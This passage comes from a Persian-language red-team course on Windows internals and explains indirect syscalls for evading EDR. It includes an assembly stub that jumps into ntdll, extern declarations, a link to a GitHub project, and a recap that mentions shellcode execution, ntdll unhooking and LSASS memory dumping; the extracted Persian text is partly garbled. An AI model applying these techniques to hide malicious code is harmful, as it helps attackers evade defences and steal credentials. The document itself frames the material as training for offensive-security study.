 ویندوز برای تیم قرمز APIمقدمه ای بر توسعه 

 

180 

 

آن  یو منتظر اتمام اجرا کندیآن را اجرا م سد،ینویکد را در آن مشل دهد،یکد حافظه اختصاص م نیا

 .Indirect Syscall قطری از همه — ماندیم

3 .syscalls.asm – یاسمبل یاجرا تیهدا 

NtAllocateVirtualMemory PROC 
    mov r10, rcx 
    mov eax, wNtAllocateVirtualMemory 
    jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] ; 

jump inside ntdll 
NtAllocateVirtualMemory ENDP  

موجود در  یاصل سیستم کال. در عوض، به دستور میکنیرا اجرا نم syscallدستور  ماً یما مستق نجا،یا در

ntdll.dll انتظار دارد، مطابقت داشته  ندوزیکه و یاکد ما با ساختار حافظه شودیباعث م نیو ا میپریم

 باشد.

 .شودیهم تکرار م یگرید سیستم کالهر  یکار برا نیا

4 .syscalls.h – هااعلان 

به اشتراک  asmو . cpp. یهالیفا نیاست که ب ییرهامتغی ٔ  همه extern یهاشامل اعلان لیفا نیا

 :شوندیگذاشته م

extern DWORD wNtAllocateVirtualMemory; 
extern UINT_PTR sysAddrNtAllocateVirtualMemory; 
extern NTSTATUS NtAllocateVirtualMemory(...);  

 .شودیاعمال م زیتوابع ن ٔ  هیبق یساختار برا نیهم

 Indirect Syscalls یایمزا
  دور زدن بهترEDRیریجلوگ فراخوانی ٔ  مربوط به پشته یحافظه و هشدارها ی: از بازرس 

 .کندیم

 معتبر مثل  یهاکامل در ماژول یاجراntdll.dll 

  دور زدنHookیها inline یشگرهایکه توسط پا API اند.در سطح کاربر اعمال شده 

 هاتیمحدود

 در حافظه است. ntdll.dllهمچنان وابسته به وجود     

 Stackمثل  ییهاروش دیبا شتریب یکاریمخف یاستفاده کند، برا Kernel Callbackو  ETWاز  EDRاگر     

Spoofing .را اضافه کرد 
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مختلف  یها( دارد که ممکن است در نسخه0x12)مثل + سیستم کال قیبه دانستن افست دق ازین    

 متفاوت باشد. یکم ندوزیو

 ییشناسا ملاحظات

 شوند اگر: ییاست شناساهم ممکن  Indirect Syscalls یحت

 ( آدرس بازگشتReturn Addressبا الگوها )نداشته باشد. یخوانشده همشناخته ی 

 جادیحافظه مشکوک بلافاصله با ا صیتخص ( رشتهThread.دنبال شود ) 

  حل شود. رمعمولیو غ ایصورت پوبه سیستم کالآدرس 

 است: ریشامل موارد ز ییکاهش شناسا یراهکارها

 سیستم کالاستخراج شماره  ندیفرآ مبهم سازی 

 Unhook  کردنntdll.dll در حافظه 

 سیستم کال یابیریمنطق مس یخطدرون یرمزگذار 

 یریگجهینت

Indirect Syscalls وندشیمحسوب م ندوزیدور زدن و نییسطح پا یهاکیقدرتمند در تکن شرفتیپ کی .

کد را  یاجرا یوفادار هاآن شود،یانجام م ntdll.dllل داخل کرن به هاانتقال ٔ  که همه نیاز ا نانیبا اطم

 .رسانندیرا به حداقل م EDR یحفظ کرده و هشدارها

شود،  بی( ترکThread میرمستقیغ جادیا ای Stack Spoofing)مثل  گرید یهاکیروش با تکن نیا یوقت

 .شودیم لیتبد Red Team یهامیت یبرا یضرور یبه ابزار

 :GitHub ٔ  پروژه ��

CT_Indirect_Syscalls – VirtualAllocEx 

https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-

Syscalls/tree/main/CT5%FIndirect5%FSyscalls/CT5%FIndirect5%FSyscalls 

 

https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/tree/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls
https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/tree/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls
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 یریگجهینت

. میسپاسگزار یستمیس یهایو فراخوان ندوزیو API یهاهیمامحتوا درباره درون نیشما بابت مطالعه ا از

 :میآشنا شد ریز یدیکل یهاکیو تکن میبا مفاه مطالب، نیدر طول ا

 کد با استفاده از شل ییو رمزگشا یرمزگذارXOR 

 یگذاررفع قلاب API  با بازگرداندن بخش.text  ازntdll.dll سکید یرو 

 ستمیس میرمستقیو غ میمستق یهایفراخوان (Direct  وIndirect Syscalls) 

  استخراج حافظهLSASS  با استفاده ازMiniDumpWriteDump  وPssCaptureSnapshot 

 ستمیس یهایفراخوان یگذارقلاب ییشناسا 

 قاتیحملات، تحق یسازهیمهم هستند و در شب اریمدرن بس یتهاجم تیدرک امن یموضوعات برا نیا

و  قیدق حاتی، توض++C/Cمنبع  یبا کدها کیکاربرد دارند. هر تکن یدفاع یبدافزار و دورزدن ابزارها

 ارائه شده است. ییشناسا یبحث درباره بردارها

 نیو مجاز به اشتراک گذاشته شده است و استفاده از ا یآموزش یتیامن قیتحق یدانش صرفاً برا نیا

 .ستیمجاز ن یو اخلاق یقانون یهاطیخارج از مح هاکیتکن

 شتریمطالعه ب یبرا یشنهادیپ منابع

 هاکتاب 

 Windows Kernel Programming – Pavel Yosifovich 

 Windows Internals  ,Mark Russinovich, David Solomon – هفتم( شیرای، و2و  1)قسمت  

Alex Ionescu 

 Programming the Microsoft Windows Driver Model – Walter Oney 

 هاشگاهآزمای و هاآموزش

 AlteredSecurity 

 CyberWarFareLabs ه بدافزار، دورزدن توسع نگ،یمی: ردِ تشرفتهی)پ  EDR) 

 Sektor )اصول توسعه بدافزار، فرار از  7 AV/EDR) 

 OffensiveSecurity (OSED ،OSCE2) 

 MaldevAcademy )توسط @  mrd0x) 
 Hack The Box 

 نآنلای منابع و هاوبلاگ

    Cocomelonc Blog – ِفرار از  ،یعمل نگیمتی ردsyscallلتیاست ی، بارگذار 
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 iRed.Team فرار از سطح  حیوضت –  syscall ،HALO’s Gate  API یگذار، قلاب

 KlezVirus Blog – FreshyCalls ،SysWhispers یمخف یبارگذار یهاکی، تکن2  

 Outflank Security Blog EDR قلاب رفع –  یو دورزدن واقع یمخف یهاکی، تکن  

 MalwareTech Blog فرار از سندباکس یهاو روش ندوزیو همایدرون –   

 Alice Climent's Research و دورزدن  ییشناسا هایروش –  syscall 

 RedOps Blog  syscall یسازادهیپ اتیو جزئ ممفاهی – 

 یانیپا نکات

لکرد از عم قیبلکه درک عم ،ینه تنها مهارت فن ازمندیبدافزار ن قاتیو تحق تیم قرمز ٔ  درزمینه تیفعال

 ستم،یس میرمستقیو غ میمستق یهایاست. با تسلط بر فراخوان یدفاع یعامل مدرن و ابزارها یهاستمیس

 :دیتوانی، مEDRحفاظت حافظه و فرار از 

 دیکن یسازهیرا شب شرفتهیپ یدهایتهد    

 دیکن یطراح یو کاهش خطر بهتر ییشناسا یهایاستراتژ    

 یو تجربه عمل ییزدامعکوس، اشکال یمهندس قیخود را از طر شیکه کاوش و آزما میکنیم هیتوص ما

 .دیشده ادامه دهو کنترل زولهیا یهاطیدر مح

 .شودیم ترکیبار یقرمز و آب یهامیت نیخط ب د،یریگیم ادی شتریهرچه ب    

 .دیرا متوقف نکن یریادگیو هرگز  دیبمان یو قانون منیا    


